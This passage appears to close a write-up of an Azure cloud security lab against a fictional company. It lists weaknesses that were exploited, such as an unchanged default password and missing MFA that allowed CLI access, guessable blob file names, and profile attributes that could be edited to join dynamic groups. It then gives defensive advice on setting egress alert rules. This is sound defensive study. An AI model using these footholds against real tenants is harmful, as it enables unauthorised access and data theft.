    • This document shouldn’t have been stored there, as it has a different classification and data type to the candidate resumes.
    • The candidate resumes names should be randomized to prevent discovery by requesting potential files directly.
    • Didn’t enforce changing the default password, which allowed to gain a foothold in their Azure environment as Angelina Lee using the CLI
      • This was possible as Mega Big Tech hadn’t enabled MFA authentication for this user.
      • Ideally the company should allow users to log in only from managed devices.
  • It was possible to edit user profile values may be able to access any group that has dynamic group membership rules configured, that are based on user profile attributes.

To help proactively manage blob storage security, create alert rules based on events such as data egress. Click on the storage account, then click Alerts and Create alert rule under the Monitoring section

Define the conditions, then we can specify the actions that should be taken. For example, we might have an Azure function app that sends us an email notifying about unusual data egress activity, or it could restrict permissions to prevent further access.

This post is licensed under CC BY 4.0 by the author.